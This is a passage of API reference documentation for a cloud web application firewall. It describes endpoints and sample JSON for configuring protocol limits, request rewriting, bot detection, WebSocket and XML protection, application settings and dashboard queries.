{"configs": {"allow_methods": ["get", "post", "head" ], "body_param_len": 8192, "chunk_size_check": false, "cl_te_coexist_check": false, "content_length_action": "alert_deny", "content_length_num": 0, "cookie_num": 128, "duplicate_param_check": true, "header_len": 8192, "header_line_num": 128, "header_name_len": 50, "header_value_len": 4096, "http2_max_req_action": "block_period", "http2_max_requests_check": true, "http2_max_requests_num": 1000, "http2_rst_action": "block_period", "http2_rst_stream_check": true, "http2_rst_stream_frq_check": true, "http2_rst_stream_frq_num": 20, "http2_rst_stream_num": 50, "http_header_action": "alert_deny", "http_param_action": "alert_deny", "http_req_action": "alert_deny", "http_req_len": 2048, "illegal_char_check": true, "illegal_cl_check": false, "illegal_ctype_check": false, "illegal_header_name_check": false, "illegal_header_value_check": false, "illegal_host_name_check": false, "illegal_http_req_method_check": false, "illegal_http_ver_check": false, "illegal_param_name_check": false, "illegal_param_value_check": false, "illegal_res_code_check": false, "inconsistent_cl_check": false, "malformed_req_check": false, "malformed_url_check": true, "max_http_body_length": 16384, "max_setting_current_streams_num": 1000, "max_setting_frame_size": 4194303, "max_setting_header_list_size": 65536, "max_setting_header_table_size": 65535, "max_setting_initial_window_size": 33554432, "multipart_formdata_bad_request_check": false, "null_char_check": true, "odd_and_even_space_attack_check": false, "others_action": "alert_deny", "param_name_check": false, "param_value_check": false, "post_req_ctype_check": false, "range_num": 5, "range_overlapping_check": false, "redundant_header_check": true, "req_filename_len": 2048, "rpc_protocol_check": false, "status": true, "url_param_len": 8192, "url_param_name_len": 4096, "url_param_num": 128, "url_param_value_len": 4096, "web_socket_protocol_check": false }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Rewriting Requests

Get the configuration of rewriting requests of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"identify_original_ip": true, "rule_list": [{"action": "rewrite-host", "idx": "1", "name": "a", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": "1.1.1.1", "rewrite_to": "2.2.2.2" }, {"action": "rewrite-url", "idx": "2", "name": "b", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": "/1", "rewrite_to": "/2" }, {"action": "rewrite-refer", "idx": "3", "name": "c", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": "x", "rewrite_to": "y" }, {"action": "redirect-301", "idx": "4", "name": "e", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": ".*", "rewrite_to": "https://www.test.com" }, {"action": "redirect-host", "idx": "5", "name": "f", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": "^test.com", "rewrite_to": "https://www.test.com", "url_translation": true }, {"action": "rewrite-header-advanced", "header_status": true, "host_expression": "^(test\\.com)$", "host_filter": true, "host_status": true, "idx": "6", "insert_header_name": "Test-Header-Name", "insert_header_value": "testHeaderValue", "name": "rewrite-header-advanced", "protocol": "HTTP", "protocol_filter": true, "referer_expression": "^https://www\\.test-referer\\.com$", "referer_filter": true, "referer_status": true, "remove_header": ["X-Test-Header-1", "X-Test-Header-2", "X-Test-Header-3", "X-Test-Header-4" ], "rewrite_host": "test-1.com", "rewrite_referer": "http://$0/$1", "rewrite_url": "/test/$1", "url_expression": "^/(.*)$", "url_filter": true, "url_status": true }, {"action": "redirect-301-advanced", "host_expression": "^(test\\.com)$", "host_filter": true, "idx": "7", "name": "redirect-advanced", "protocol": "HTTP", "protocol_filter": true, "referer_expression": "^https://www\\.test-referer\\.com$", "referer_filter": true, "rewrite_location": "https://www.test.com/$1", "url_expression": "^/(.*)$", "url_filter": true }, {"action": "rewrite-response-header", "header_status": true, "host_expression": "^/$", "host_filter": true, "idx": "8", "insert_header_name": "Test-Header-Name", "insert_header_value": "testHeaderValue", "location_expression": "^https://test.loc/$", "location_filter": true, "location_status": true, "name": "rewrite-response-header", "protocol": "HTTP", "protocol_filter": true, "remove_header": ["X-Test-Header-1" ], "rewrite_location": "https://test.loc/", "url_expression": "^/(.*)$", "url_filter": true } ], "source_port": true, "status": true, "x_forwarded_for": true, "x_forwarded_port": true, "x_header": "X-Forwarded-For", "x_real_ip": true }, "template": false } }

Update Template Rewriting Requests

Update the configuration of rewriting requests of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (RewritingRequests)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"identify_original_ip": true, "rule_list": [{"action": "rewrite-host", "idx": "1", "name": "a", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": "1.1.1.1", "rewrite_to": "2.2.2.2" }, {"action": "rewrite-url", "idx": "2", "name": "b", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": "/1", "rewrite_to": "/2" }, {"action": "rewrite-refer", "idx": "3", "name": "c", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": "x", "rewrite_to": "y" }, {"action": "redirect-301", "idx": "4", "name": "e", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": ".*", "rewrite_to": "https://www.test.com" }, {"action": "redirect-host", "idx": "5", "name": "f", "protocol": "HTTP", "protocol_filter": false, "rewrite_from": "^test.com", "rewrite_to": "https://www.test.com", "url_translation": true }, {"action": "rewrite-header-advanced", "header_status": true, "host_expression": "^(test\\.com)$", "host_filter": true, "host_status": true, "idx": "6", "insert_header_name": "Test-Header-Name", "insert_header_value": "testHeaderValue", "name": "rewrite-header-advanced", "protocol": "HTTP", "protocol_filter": true, "referer_expression": "^https://www\\.test-referer\\.com$", "referer_filter": true, "referer_status": true, "remove_header": ["X-Test-Header-1", "X-Test-Header-2", "X-Test-Header-3", "X-Test-Header-4" ], "rewrite_host": "test-1.com", "rewrite_referer": "http://$0/$1", "rewrite_url": "/test/$1", "url_expression": "^/(.*)$", "url_filter": true, "url_status": true }, {"action": "redirect-301-advanced", "host_expression": "^(test\\.com)$", "host_filter": true, "idx": "7", "name": "redirect-advanced", "protocol": "HTTP", "protocol_filter": true, "referer_expression": "^https://www\\.test-referer\\.com$", "referer_filter": true, "rewrite_location": "https://www.test.com/$1", "url_expression": "^/(.*)$", "url_filter": true }, {"action": "rewrite-response-header", "header_status": true, "host_expression": "^/$", "host_filter": true, "idx": "8", "insert_header_name": "Test-Header-Name", "insert_header_value": "testHeaderValue", "location_expression": "^https://test.loc/$", "location_filter": true, "location_status": true, "name": "rewrite-response-header", "protocol": "HTTP", "protocol_filter": true, "remove_header": ["X-Test-Header-1" ], "rewrite_location": "https://test.loc/", "url_expression": "^/(.*)$", "url_filter": true } ], "source_port": true, "status": true, "x_forwarded_for": true, "x_forwarded_port": true, "x_header": "X-Forwarded-For", "x_real_ip": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Threshold Based Detection

Get the configuration of bot detection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "block_period", "challenge": "RBE", "content_scraping": true, "crawler": true, "credential_brute_force": true, "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "occurrence": 10, "range": 60, "request_url": "^/login.(php|asp|aspx|jsp)", "slow_attack": true, "status": true, "vulnerability_scan": true }, "template": false } }

Update Template Threshold Based Detection

Update the configuration of bot detection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (BotDetection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "block_period", "challenge": "RBE", "content_scraping": true, "crawler": true, "credential_brute_force": true, "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "occurrence": 10, "range": 60, "request_url": "^/login.(php|asp|aspx|jsp)", "slow_attack": true, "status": true, "vulnerability_scan": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template URL Access

Get the configuration of URL access of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"rule_list": [{"action": "pass", "idx": 1, "name": "a", "url": "/1" } ], "status": true }, "template": false } }

Update Template URL Access

Update the configuration of URL access of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (UrlAccess)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"rule_list": [{"action": "pass", "idx": 1, "name": "a", "url": "/1" } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Waiting Room Configuration

Get the configuration of waiting room of an application template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: 4695fb20-ca97-11ea-9281-c24bb2f2e85d

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"bypass_rules": [{"idx": 1, "rule_type": "source-ip", "rule_value": "2.2.2.2" }, {"idx": 2, "rule_type": "source-ip", "rule_value": "2.2.2.5-2.2.2.9" }, {"idx": 3, "rule_type": "source-ip", "rule_value": "2001:0db8:85a3:0000:0000:8a2e:0370:7334" } ], "custom_wt_page": "Predefined", "enable_new_users_per_min": false, "enable_total_active_users": true, "new_users_per_min": 220, "path": "/url", "path-type": "regular", "session_duration": 5, "status": true, "total_active_users": 250 }, "template": false } }

Update Template Waiting Room Configuration

Update the configuration of waiting room of an application template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: 4695fb20-ca97-11ea-9281-c24bb2f2e85d

The template ID.

Request Body schema: application/json

required	object (WaitingRoom)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"bypass_rules": [{"rule_type": "source-ip", "rule_value": "2.2.2.2" }, {"rule_type": "source-ip", "rule_value": "2.2.2.5-2.2.2.9" }, {"rule_type": "source-ip", "rule_value": "2001:0db8:85a3:0000:0000:8a2e:0370:7334" } ], "custom_wt_page": "Predefined", "enable_new_users_per_min": false, "enable_total_active_users": true, "new_users_per_min": 220, "path": "/url", "path-type": "regular", "session_duration": 5, "status": true, "total_active_users": 250 }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template WebSocket Security

Get the configuration of WebSocket security of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "rule_list": [{"allow_binary_text": true, "allow_plain_text": true, "allow_websocket": true, "block_attacks": true, "block_extensions": true, "block_extentions": true, "idx": 1, "max_frm_size": 64, "max_msg_size": 1024, "name": "WS-Rule", "origin_list": [{"idx": 1, "origin": "org1" } ], "url": "/" } ], "status": true } } }

Update Template WebSocket Security

Update the configuration of WebSocket security of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (WebSocketSecurity)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "rule_list": [{"allow_binary_text": true, "allow_plain_text": true, "allow_websocket": true, "block_attacks": true, "block_extensions": true, "block_extentions": true, "idx": 1, "max_frm_size": 64, "max_msg_size": 1024, "name": "WS-Rule", "origin_list": [{"idx": 1, "origin": "org1" } ], "url": "/" } ], "status": true } }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template XML Protection

Get the configuration of XML protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "bucket": "bucket-name", "file_list": [{"entity_check": true, "filename": "x_schema.xsd", "idx": 1, "limit_check": true, "md5": "c0be3e2fe6733ec9d5c14cad158db66e", "name": "test-rule1", "schema_valid": true, "url": "/1" } ], "prefix": "2512018171/18", "status": true }, "template": false } }

Update Template XML Protection

Update the configuration of XML protection of the template.

The data format in the request is multipart/form-data. Refer to the Request body for more detail information

The keywords of the form are template_status, _status, action, XMLProtectionPolicy.

The keyword format of the uploaded file is: the prefix file_ + the name of each rule, for example, file_test_xml_01.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (XMLProtection)
template required	boolean Enum: true false Enable to inherit configuration from template
property name* additional property	any

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "file_list": [{"entity_check": true, "filename": "x_schema.xsd", "idx": 1, "limit_check": true, "name": "test-rule1", "schema_valid": true, "url": "/1" } ], "status": true }, "file_test_xml_01": "{binary}", "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Application Basic

This section shows how to configure application.

List Applications

List all applications that you own.

`/waf/apps?size={{size}}&filter={{filter}}&forward={{forward}}&cursor={{cursor}}`

List all applications with basic information.
`/waf/apps?partial={{partial}}`

List predefined custom ports.
`/waf/apps?custom_ports={{custom_ports}}`

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

forward	string True: the next page. False: the previous page.
filter	string The filter should like: [{"id":"domain_name", "logic":{}, "value":["www1.demo.com"]}], then URL encode this filter string and put this in filter parameter. The available "id" of filter are ["app_name", "domain_name", "block_mode", "platform", "owner", "data", "blocked_req", "req", "template_name"].
cursor	string To list the items of the first page, leave the cursor value empty. To go forward to next page, get the value of the 'next_cursor' parameter in the result of the current page, then paste it here as the cursor value. To go to the previous page, get the 'prev_cursor' value, then paste it here as the cursor value.
size	string An integer, the page size. The value shall be 10, 20, 30.
partial	string Basic marker.
custom_ports	string The vaules for the {{custom_ports}} are ['http', 'https', 'all']

Responses

Response samples

200
400

Content type
application/json

Example
List all applications that you own

{"app_list": [{"account_uuid": "a2dfa0ba-cedb-11e9-92f2-0686a6b189d0", "acme_info": [ ], "app_name": "app-test1", "block_mode": 1, "blocked_req": 136, "can_delete": true, "can_update": true, "cdn_status": 0, "data": 3085612, "dns_status": 0, "domain_name": "www1.demo.com", "domain_status": {"www1.demo.com": 0 }, "ep_cname": "www1.demo.20867.waasonline.net", "ep_id": "9746244757", "extra_domains": [ ], "hc_status": {"details": {"active": 3, "not_available": 0, "out_of_service": 0, "total": 3 }, "hc_required": false, "status": "active" }, "naked_domain_ips": ["3.91.211.14", "44.199.160.6" ], "oc_gslb": {"bypass": false, "status": true, "zone": "zone.com." }, "platform": "AWS", "platform_region": "us-east-1", "region": "CDN", "req": 5938, "template_id": "", "template_name": "", "tenant_id": "1ecb0a8e-1d56-11ea-a599-0a9068c47440", "waf_addresses": {"us-east-1": [{"ip": "54.144.250.206" }, {"ip": "23.21.42.132" }, {"ip": "3.226.15.207" }, {"ip": "3.93.159.67" }, {"ip": "54.243.58.76" } ] } } ], "can_add": 1, "next_cursor": "", "prev_cursor": "", "total": 1 }

Create Application

Create a new application.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

app_name

string

The application name

Responses

Request samples

Payload

Content type
application/json

{"app_name": "wl_us1", "block_mode": 0, "cdn_status": 0, "continent": "NA", "custom_port": {"http": 80, "https": 443 }, "domain_name": "www.example.com", "extra_domains": ["a.example.com", "b.example.com" ], "head_availability": 1, "head_status_code": 404, "is_global_cdn": 1, "oc_gslb": {"bypass": false, "status": true, "zone": "zone.com." }, "platform": "AWS", "region": "us-east-1", "server_address": "93.184.216.34", "server_country": "United States", "server_type": "https", "service": ["http", "https" ] }

Response samples

400

Content type
application/json

{"detail": "Invalid HTTP method" }

Delete Application

Delete an application.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

400

Content type
application/json

{"detail": "Get application status failed" }

Get Application

Get some brief information of an application.

`/waf/apps/{{ep_id}}`

Get application DNS status.
`/waf/apps/{{ep_id}}?dns_resolve=true`

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

dns_resolve

boolean

Responses

Response samples

200
400

Content type
application/json

Example
Get some brief information of an application

{"app_name": "wl_us1", "block_mode": 0, "domain_name": "www.example.com", "fsa_status": 1, "waf_regions": ["us-east-1", "us-west-1" ] }

Update Application

Update application, including app_name, user alias, and CDN status.

`/waf/apps/{{ep_id}}`

Update application DNS status.
`/waf/apps/{{ep_id}}?dns_resolve=true`

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

dns_resolve

boolean

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

Example
Update application, including app_name, user alias, and CDN status

{"app_name": "test", "cdn_status": 0, "continent": "NA", "is_global_cdn": 0, "region": "us-east-1", "user_name": "foo" }

Response samples

400

Content type
application/json

{"detail": "Get application status failed" }

Get Site Publish Settings

Get site publish settings for an application.

Requires API key secret as Authorization request header.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID.

Responses

Response samples

200
404

Content type
application/json

{"rules": [ ], "security_controls": {"account_lockout": {"account_block_period": 600, "max_login_failures": 5, "status": "disable", "within": 3 }, "credential_stuffing_protection": {"action": "alert_deny", "block_period": 600, "online_query": "disable", "status": "disable" }, "limit_users": {"maximum_users": 1, "session_idle_timeout": 30, "status": "disable" } }, "status": false }

Update Site Publish Settings

Update site publish settings for an application.

Requires API key secret as Authorization request header.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID.

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

{"rules": [{"append_custom_header": "enable", "client_auth_method": "oauth-auth", "custom_headers": [{"custom_header_name": "X-Auth-User", "custom_header_value_format": "%{oauth.user}e" } ], "domain": "gitlab.acme.com", "logoff_path": "/logout", "logoff_path_type": "plain", "oauth_servers": [{"client_id": "0oa117u8m4h7jk0cm698", "client_secret": "secret123", "oidc": "enable", "okta_base_url": "integrator-9231442.okta.com/oauth2/default", "provider": "okta", "redirect_uri": "https://gitlab.acme.com/oauth/callback", "scope": "openid profile email offline_access" } ], "path": "/", "redirect_url": "/dashboard", "req_type": "plain", "saml_servers": [ ], "status": "enable" } ], "security_controls": {"account_lockout": {"account_block_period": 600, "max_login_failures": 5, "status": "enable", "within": 3 }, "credential_stuffing_protection": {"action": "alert_deny", "block_period": 300, "online_query": "enable", "status": "enable" }, "limit_users": {"maximum_users": 10, "session_idle_timeout": 30, "status": "enable" } }, "status": true }

Response samples

200
400
404
409

Content type
application/json

{"detail": "Site publish configuration saved successfully." }

Download SP SAML Metadata

Generate and download the Service Provider (SP) SAML metadata XML.

The response is a downloadable XML file that can be uploaded directly to the IdP to complete the SAML trust relationship setup.

Requires API key secret as Authorization request header.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID.

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

{"acs_bind": "POST", "acs_path": "/SAML2/POST", "custom_sp_cert_type": "default", "entity_id": "https://gitlab.acme.com", "idp_name": "okta-corporate", "service_path": "/saml.sso", "slo_bind": "POST", "slo_path": "/SLO/POST" }

Response samples

200
400
404

Content type
application/samlmetadata+xml

<?xml version="1.0"?><md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://gitlab.acme.com">...</md:EntityDescriptor>

Configure Block Mode

Enable/Disable the block mode.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

block_mode

integer

Enum: 0 1

Select 0 to disable the block mode, or select 1 to enable the block mode

Responses

Request samples

Payload

Content type
application/json

{"block_mode": 1 }

Response samples

400

Content type
application/json

{"detail": "Get application status failed" }

Get Endpoint Modules

Get all modules' status of the EndPoint. A sample response body conforms to the following JSON schema:

id: The ID of the module

status: If the module is enabled or disabled

inherited: If the module uses the configuration which is inherited from the template
[ { "id": "knownattacks", "status": "disable", "inherited": "enable" }, ]
Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200

Content type
application/json

[{"id": "known_attacks", "inherited": "enable", "status": "disable" }, {"id": "anomaly_detection", "inherited": "disable", "status": "disable" }, {"id": "information_leakage", "inherited": "enable", "status": "disable" }, {"id": "cookie_security", "inherited": "enable", "status": "disable" }, {"id": "file_protection", "inherited": "enable", "status": "disable" }, {"id": "parameter_validation", "inherited": "enable", "status": "disable" }, {"id": "http_header_security", "inherited": "enable", "status": "enable" }, {"id": "csrf_protection", "inherited": "enable", "status": "enable" }, {"id": "mitb_protection", "inherited": "enable", "status": "enable" }, {"id": "request_limits", "inherited": "enable", "status": "enable" }, {"id": "url_access", "inherited": "enable", "status": "enable" }, {"id": "ip_protection", "inherited": "enable", "status": "disable" }, {"id": "known_bots", "inherited": "enable", "status": "disable" }, {"id": "threshold_detection", "inherited": "enable", "status": "disable" }, {"id": "ml_bot_detection", "inherited": "enable", "status": "enable" }, {"id": "biometrics_based_detection", "inherited": "disable", "status": "enable" }, {"id": "bot_deception", "inherited": "enable", "status": "enable" }, {"id": "ddos_prevention", "inherited": "enable", "status": "enable" }, {"id": "custom_rule", "inherited": "enable", "status": "disable" }, {"id": "web_socket_security", "inherited": "enable", "status": "disable" }, {"id": "api_protection", "inherited": "enable", "status": "disable" }, {"id": "api_gateway", "inherited": "enable", "status": "enable" }, {"id": "mobile_api_protection", "inherited": "enable", "status": "disable" }, {"id": "json_protection", "inherited": "enable", "status": "disable" }, {"id": "xml_protection_policy", "inherited": "enable", "status": "disable" }, {"id": "ml_api_protection", "inherited": "enable", "status": "disable" }, {"id": "graphql_protection", "inherited": "enable", "status": "disable" }, {"id": "account_takeover", "inherited": "enable", "status": "disable" }, {"id": "rewriting_requests", "inherited": "enable", "status": "disable" }, {"id": "caching_compression", "inherited": "enable", "status": "disable" }, {"id": "global_trust_list_parameter", "inherited": "enable", "status": "enable" }, {"id": "content_routing", "inherited": "enable", "status": "disable" }, {"id": "cors_protection", "inherited": "enable", "status": "enable" }, {"id": "waiting_room", "inherited": "enable", "status": "enable" }, {"id": "advanced_bot_protection", "inherited": "enable", "status": "enable" } ]

Update Endpoint Modules

Modify Modules configuration of the Endpoints. A sample request body conforms to the following JSON schema:

id: The ID of the module

status: If the module is enabled or disabled
[ { "id": "knownattacks", "status": "disable" }, ]
After you update the configuration, the API will return successfully.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

Array

id required	string Enum: "known_attacks" "anomaly_detection" "information_leakage" "cookie_security" "file_protection" "parameter_validation" "http_header_security" "csrf_protection" "mitb_protection" "request_limits" "url_access" "ip_protection" "known_bots" "threshold_detection" "ml_bot_detection" "biometrics_based_detection" "bot_deception" "ddos_prevention" "custom_rule" "web_socket_security" "api_protection" "api_gateway" "mobile_api_protection" "json_protection" "xml_protection_policy" "ml_api_protection" "graphql_protection" "account_takeover" "rewriting_requests" "caching_compression" "global_trust_list_parameter" "content_routing" "cors_protection" "waiting_room" "advanced_bot_protection" The ID of the module
inherited	string Enum: "enable" "disable" If the module uses the configuration which is inherted from the template
status required	string Enum: "enable" "disable" If the module is enabled or disabled

Responses

Request samples

Payload

Content type
application/json

[{"id": "known_attacks", "status": "disable" }, {"id": "anomaly_detection", "status": "disable" }, {"id": "information_leakage", "status": "disable" }, {"id": "cookie_security", "status": "disable" }, {"id": "file_protection", "status": "disable" }, {"id": "parameter_validation", "status": "disable" }, {"id": "http_header_security", "status": "enable" }, {"id": "csrf_protection", "status": "enable" }, {"id": "mitb_protection", "status": "enable" }, {"id": "request_limits", "status": "enable" }, {"id": "url_access", "status": "enable" }, {"id": "ip_protection", "status": "disable" }, {"id": "known_bots", "status": "disable" }, {"id": "threshold_detection", "status": "disable" }, {"id": "ml_bot_detection", "status": "enable" }, {"id": "biometrics_based_detection", "status": "enable" }, {"id": "bot_deception", "status": "enable" }, {"id": "ddos_prevention", "status": "enable" }, {"id": "custom_rule", "status": "disable" }, {"id": "web_socket_security", "status": "disable" }, {"id": "api_protection", "status": "disable" }, {"id": "api_gateway", "status": "enable" }, {"id": "mobile_api_protection", "status": "disable" }, {"id": "json_protection", "status": "disable" }, {"id": "xml_protection_policy", "status": "disable" }, {"id": "ml_api_protection", "status": "disable" }, {"id": "graphql_protection", "status": "disable" }, {"id": "account_takeover", "status": "disable" }, {"id": "rewriting_requests", "status": "disable" }, {"id": "caching_compression", "status": "disable" }, {"id": "global_trust_list_parameter", "status": "enable" }, {"id": "content_routing", "status": "enable" }, {"id": "cors_protection", "status": "enable" }, {"id": "waiting_room", "status": "enable" }, {"id": "advanced_bot_protection", "status": "enable" } ]

Response samples

200
400

Content type
application/json

{"detail": "Module configuration changed successfully." }

Do Connection Test

Test whether the web service of a server for the protected domain is available or not.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

domain_name required	string The fully-qualified domain name (FQDN) of the server.
backend_type required	string The IP or Domain which indicates how you want to define the server. The valid values are HTTP and HTTPS.
backend_ip required	string The IP address of the origin server.
backend_port	string The TCP port number where the server listens for connections. The number is an integer, and the valid range is from 1 to 65,535.

Responses

Response samples

200
400

Content type
application/json

{"head_availability": 1, "head_status_code": 404, "network_connectivity": 1 }

Do DNS Lookup

Check DNS lookup utility. FortiAppSec Cloud parses the protected domain name specified to obtain the IP and CNAME if any.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

domain

string

Responses

Request samples

Payload

Content type
application/json

{"domain": "www.kernel.org" }

Response samples

200
400

Content type
application/json

{"A": ["145.40.73.55" ], "CNAME": ["geo.source.kernel.org" ] }

Get Known Bot Info

Get the known bad bot list by category name.

Requires API key secret as Authorization request header. See Authentication section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

category required	string Category of bad bot. Should be one of the categories in DoS Spam Trojan Scanner Crawler
bots-type required	string

Responses

Response samples

200
400

Content type
application/json

{"detail": "successfully", "result": {"bot-list": ["Siege", "Cyberdog", "Backdoor.Win32.Vertexbot.A", "D3DL0 G00D N1C3" ], "category": "DoS" } }

List waf ip address

List allow WAF ip of applications.

`/misc/management_ip?filter={{filter}}`

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type
application/json

{"result": {"app_num": 10, "management_ip": {"ip4": ["134.237.192.10", "13.65.16.38" ] }, "platform": 3, "region": 6, "waf_ip": {"ap-southeast-1": {"ip4": ["18.136.127.109", "54.169.189.127" ], "ip6": ["2406:da18:19b:801:2a45:8fba:45bd:f9b0", "2406:da18:19b:802:e312:dd39:6167:df38" ] }, "eastus": {"ip4": ["18.136.127.209", "54.169.189.227" ], "ip6": ["3406:da18:19b:801:2a45:8fba:45bd:f9b0", "3406:da18:19b:802:e312:dd39:6167:df38" ] } } } }

Dashboard

This section shows how to configure module dashboard.

Get found domains

Retrieve a summary of found domains, grouped by a specified category.

`/home/dashboard/csp/domain_found?groupby={{groupby}}`

Authorizations:

ApiRequestAuthorizer

query Parameters

groupby

string

Enum: "risk" "status" "category"

The field to group the results by. Possible values are 'risk', 'status', 'category'

Responses

Response samples

200
400
403

Content type
application/json

Example
Domains grouped by risk

{"high_risk": 10, "low_risk": 70, "medium_risk": 20, "total": 100 }

Get found JS scripts

Retrieve a summary of found JS scripts, grouped by a specified category.

`/home/dashboard/csp/js_found?groupby={{groupby}}`

Authorizations:

ApiRequestAuthorizer

query Parameters

groupby

string

Enum: "risk" "status" "type" "reviewed"

The field to group the results by. Possible values are 'risk', 'status', 'type', and 'reviewed'.

Responses

Response samples

200
400
403

Content type
application/json

Example
Scripts grouped by status

{"allowed": 150, "blocked": 25 }

Get PCI tasks

Retrieve a summary of PCI tasks.

`/home/dashboard/csp/pci_tasks`

PCI compliance task categories.

Authorizations:

